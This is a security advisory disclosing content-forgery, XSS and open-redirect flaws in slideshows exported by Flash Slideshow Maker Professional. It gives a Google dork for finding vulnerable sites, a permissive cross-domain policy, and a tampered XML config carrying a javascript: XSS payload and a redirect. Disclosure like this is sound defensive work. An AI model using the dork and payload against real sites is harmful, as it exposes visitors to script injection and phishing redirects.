Flash Slideshow Maker Professional XSS / Content Forgery / Redirect

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| '_ \| /| | '_ ` _ \ \ \/ __| '__| \ \ \ /\ / /  
| | | \ |_/ / | | | | |.___/ / (__| | .___/ /\ V V /   
|_| |_|\___/|_| |_| |_|\____/ \___|_| \____/ \_/\_/   
  
> _[C O N T A C T] :  
Twitter: @ret2eax  
Email: [email protected]  
Blog: ret2eax.pw  
Website: hackthegrid.com.au  
  
[+]-----------------------------------------------------------------[+]  
| Impacted Vendor: SocuSoft Co. |  
| Vulnerable Software: Flash Slideshow Maker Professional |  
| Software URL: http://flash-slideshow-maker.com |  
| Effected Release: All Versions |  
| Vulnerability Type: Content Forgery, XSS, Unvalidated Redirects |  
| Date Released: 29/07/2017 |  
| Released by: ret2eax |  
[+]-----------------------------------------------------------------[+]  
  
=================================================================================  
  
[+]----------------------------[ S U M M A R Y ]------------------------------[+]  
  
Flash Slideshow Maker is a Flash Shockwave (SWF) movie maker containing static   
images which are presented in a slideshow format.  
  
This vulnerability does not exist within the software application itself, instead,  
the vulnerability presents itself within the exported files.  
  
It was identified that the Flash Slideshow Maker application has two configuration  
themes associated with generating the slideshow content, basic and advanced.  
  
The basic theme will generate a single SWF file containing the content embedded   
within. Whereas, the 'advanced' theme is XML driven. Meaning, in the final output,  
there will be the SWF itself, image files and an XML document containing the  
configuration that controls the SWFs behaviour. This 'advanced' theme   
configuration is the cause of why such a vulnerability exists.   
  
Therefore the themes associated with the advanced configuration are vulnerable,  
whereas the content associated with the themes outlined in the 'basic'   
configuration are not vulnerable.   
  
[+]-------------------------[ D E S C R I P T I O N ]------------------------[+]  
  
This vulnerability exists not because of the SWF but due to the insecurity   
associated with it's XML configuration file, and the fact that the xml_path HTTP   
parameter trusts user supplied input. An attacker can pull the XML configuration   
containing the SWFs behavioural structure. In doing so, the attacker can mimic,   
forge and thus alter the pre-defined behaviour of the SWF by assigning malicious   
arbitrary values within the associated XML configuration parameters. Exploitation   
is achieved by uploading the evil XML to a web server, where it is now possible   
to remotely call and include the fraudulent XML through the SWF via GET.  
  
An attacker can perform Content Forgery, Unvalidated Redirects, and  
XSS attacks against authenticated and un-authenticated users through the   
dissemination of a comrpomised URL.  
  
In order for any of the vulnerabilities (besides Content Forgery of course)   
to execute, the victim is required to click on the image within the slides.   
The likelihood of this can be enhanced through the XML configurations title   
variables, and setting the title to be staticly displayed, however this persuasion  
could also be conducted through the Content Forgery where a JPEG or any other   
image file can be displayed containing text to persuade the victim to perform the  
required user interaction.  
  
[+]-----------------------[ P R E C O N D I T I O N S ]---------------------[+]  
  
In order to exploit this vulnerability, the attacker must have a correctly configured   
crossdomain policy running on the same server that they are hosting the malicious XML   
file. An example is as seen below:  
  
<?xml version="1.0"?>  
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">  
<cross-domain-policy>  
<site-control permitted-cross-domain-policies="all"/>  
<allow-access-from domain="*" secure="false"/>  
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>  
</cross-domain-policy>  
  
  
[+]------------------------[ E X P L O I T A T I O N ]----------------------[+]  
  
A Proof of Concept is as follows:  
  
> _[The Basis] :  
  
Vulnerable endpoints can be located through the following Google Dork:  
filetype:swf inurl:?xml_path=   
  
~ 64,500 potentially vulnerable endpoints match this criteria.  
  
Obtain the SWFs XML configuration, by replacing the .swf extension value with that   
of the called GET .xml value stored in the xml_path HTTP parameter. Once obtained,  
edit the XML configuration to control the SWFs behaviour. Finally host it on a  
web server where it can then be called through setting the xml_path parameter to  
point to the now manipulated XML config; ?xml_path=//domain.com/path/to/evil.xml  
again, to execute XSS and evil redirects, click on the image containing the   
associated payload.   
  
> _[Example of Manipulated XML Config] :  
  
  
<?xml version="1.0" encoding="UTF-8" ?>  
<flash_parameters copyright="socusoftFSMTheme">  
<preferences>  
<global>  
<basic_property movieWidth="480" movieHeight="400" html_title="Title" loadStyle="Bar" startAutoPlay="true" continuum="true" backgroundColor="0x005080" hideAdobeMenu="false" photoDynamicShow="true" enableURL="true" transitionArray=""/>  
<title_property showTitle="true" photoTitleColor="0xff0000" backgroundColor="0xffffff" alpha="50" autoHide="true"/>  
<music_property path="" stream="true" loop="true"/>  
<photo_property topPadding="0" bottomPadding="40" leftPadding="0" rightPadding="0"/>  
<properties enable="true" backgroundColor="0xffffff" backgroundAlpha="30" cssText="a:link{text-decoration: underline;} a:hover{color:#ff0000; text-decoration: none;} a:active{color:#0000ff;text-decoration: none;} .blue {color:#0000ff; font-size:15px; font-style:italic; text-decoration: underline;} .body{color:#ff5500;font-size:20px;}" align="bottom"/>  
</global>  
<thumbnail>  
<basic_property showPrview="true" buttonColor="0xffffff" borderColor="0xffffff" currentBorderColor="0xffffff"/>  
</thumbnail>  
</preferences>  
<album>  
<slide jpegURL="foo.jpg" d_URL="foo.jpg" transition="0" panzoom="1" URLTarget="1" phototime="5" url="javascript:alert(document.domain)" title="XSS PoC by @ret2eax" width="480" height="360"/>  
<slide jpegURL="bar.jpg" d_URL="bar.jpg" transition="29" panzoom="1" URLTarget="0" phototime="5" url="http://ret2eax.pw" title="Redirect PoC by @ret2eax" width="480" height="360"/>  
</album>  
</flash_parameters>  
  
[+]------------------------[ R E M E D I A T I O N ]------------------------[+]  
  
Perform proper input sanitization, review crossdomain policy to ensure it's   
configured correctly in the sense that it should disallow script access from   
remote domains. Alternatively, remove the vulnerable content entirely.   
  
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